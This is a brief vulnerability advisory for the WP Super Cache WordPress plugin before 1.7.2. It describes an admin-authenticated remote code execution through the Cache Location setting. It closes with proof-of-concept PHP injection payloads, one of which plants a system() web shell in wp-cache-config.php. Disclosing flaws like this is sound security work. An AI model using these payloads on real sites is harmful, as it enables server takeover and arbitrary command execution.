WP Super Cache < 1.7.2 - Authenticated Remote Code Execution (RCE)

The plugin was affected by an authenticated (admin+) RCE in the settings page due to input validation failure and weak $cache_path check in the WP Super Cache Settings -> Cache Location option. Direct access to the wp-cache-config.php file is not prohibited, so this vulnerability can be exploited for a web shell injection. Another possible attack vector: from XSS (via another plugin affected by XSS) to RCE.

PoC

Payloads: ‘;system($_GET[13]);include_once 'wp-cache-config.php';’ ';$_GET[13];include_once 'wp-cache-config.php';?>